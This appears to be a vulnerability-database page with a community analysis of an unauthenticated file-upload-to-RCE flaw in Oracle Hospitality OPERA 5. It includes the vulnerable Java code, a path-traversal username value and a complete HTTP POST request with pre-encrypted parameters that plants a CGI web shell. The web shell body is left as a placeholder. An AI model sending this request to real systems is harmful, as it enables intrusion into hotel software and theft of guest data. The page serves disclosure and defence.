Attacker Value
(1 user assessed)
Very High
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: April 18, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


Vulnerability in the Oracle Hospitality OPERA 5 Property Services product of Oracle Hospitality Applications (component: OXI). The supported version that is affected is 5.6. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hospitality OPERA 5 Property Services. While the vulnerability is in Oracle Hospitality OPERA 5 Property Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hospitality OPERA 5 Property Services accessible data as well as unauthorized update, insert or delete access to some of Oracle Hospitality OPERA 5 Property Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hospitality OPERA 5 Property Services. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L).

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  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

Reasoning Behind Exploitability and Attacker Value

This is an unauthenticated remote code execution vulnerability – I’m not exactly sure why NVD gave this a 7.2: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L, but it seems like an incorrect assessment. The vectors that confuse me in NVD’s assessment are:

  • Attack Complexity (AC): High
  • Privileges Required (PR): High

It seems to me these should be Low and None respectively as privileges are not required to obtain RCE and the attack is not complex. There is a point and shoot unauthenticated RCE PoC publicly available online. If I had to guess why NVD gave it such a low score (if it wasn’t a mistake) would be that in order to exploit you need to know the static keys Oracle Opera uses to encrypt strings. However the researchers at AssetNote published the encryption routine with the static keys used by the application in their PoC.

Oracle Opera is a heavily used application and in my opinion this vulnerability should be considered critical.

Vulnerability Details

This is an order of operations bug in Oracle Opera, a widely used hotel and property management software. The vulnerability stems from an unfortunate developer oversight in the FileReceiver endpoint which accepts the parameters and is accessible without authentication:

String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));
String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));
String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));
String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));
String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));

The above two parameters jndiname and username are both encrypted user controlled input. As you may notice the two parameters are sanitized BEFORE they are decrypted, rendering the sanitization useless. The attacker can then send any payload they wish via those two parameters without them being sanitized.

Following the code path of the FileReceiver endpoint the application checks to see if the path is allowed via the following function (where schemaName is the username parameter accepted from the FileReceiver endpoint):

  public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) {
    boolean ret = false;
    try {
      if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) {
        String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
        String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase();
        if (adjustedFileName.startsWith(adjustedSourcePath)) {
          ret = true;
        } else {
          throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]");
      } else {
        throw new Exception("Either path, schema or filename is null");
    } catch (Exception e) {
    return ret;

With the line of interest being:

 String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();

If schemaName = "foo/../../../../../" then adjustedSourcePath will be equal to "D:\" and the attacker will have the ability to an write arbitrary file to the D:\ directory (which is where the Oracle Opera application needs to be installed as per Oracle documentation).

Now the above explains how to write arbitrary files to the system but not how to obtain unauthenticated RCE. There’s still two main blockers:

  1. Knowing the JNDI name needed for exploitation.
  2. Knowing how to encrypt the jndiname and username in order for the application (FileReceiver endpoint) to be able to decrypt them successfully.

Luckily for the attacker both of the above issues can easily be resolved.
The JNDI connection name can be found by visiting the following unauthenticated URLs:

As for the knowing of the encrypted parameters sent to FileReceiver, Oracle Opera uses static keys to encrypt strings. The researchers at Assetnote were able to recreate their encryption routine and used it in order to encrypt the necessary parts (username, jndiname) of the payload.

The POST request below uses the arbitrary file upload to drop a CGI web shell onto the local file system that can be accessed remotely to execute commands in the context of the user running the Oracle Opera instance. Perl comes installed with Opera and will be available on the target system making Perl the default choice for a web shell in this scenario.

POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON&copytoexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 588
Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dc
Connection: close

<place perl webshell here>


CVSS V3 Severity and Metrics
Base Score:
7.2 High
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information


  • oracle


  • hospitality opera 5 property services 5.6

Additional Info

Technical Analysis